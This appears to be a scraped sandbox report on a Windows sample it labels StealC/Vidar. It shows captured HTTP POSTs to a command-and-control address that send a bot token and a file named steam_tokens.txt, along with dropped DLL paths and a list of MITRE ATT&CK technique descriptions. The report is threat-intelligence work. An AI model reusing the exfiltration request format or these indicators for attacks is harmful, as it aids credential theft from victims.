Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEBHost: 194.87.29.53Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="file"------KECBGCGCGIEGCBFHIIEB--
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAKFBGCBFHIJKECGIIJHost: 194.87.29.53Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 2d 2d 0d 0a Data Ascii: ------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="message"ybncbhylepme------HCAKFBGCBFHIJKECGIIJ--
Source: global traffic	HTTP traffic detected: POST /6f9307efa625dd18.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCAHost: 194.87.29.53Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 2d 2d 0d 0a Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAAAAFBKFIECAAKECGCA--

Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.87.29.53

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFIEGCAECGCAEBFHDHIE

C:\ProgramData\AKEGIIJDGHCAKFHJEHCFIJJEGI

C:\ProgramData\CGIDAAAK

C:\ProgramData\EGIJKEHCAKFCAKFHDAAA

C:\ProgramData\HCGCBFHCFCFBFIEBGHJECGHCFI

C:\ProgramData\HDAFIIDAKJDGDHIDAKJJJEHCFB

C:\ProgramData\HJDBFBKK

C:\ProgramData\IEHDBAAFIDGDAAAAAAAA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 0259212D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 006C1271 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 006C1278 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 6C2F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 0040BE70 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre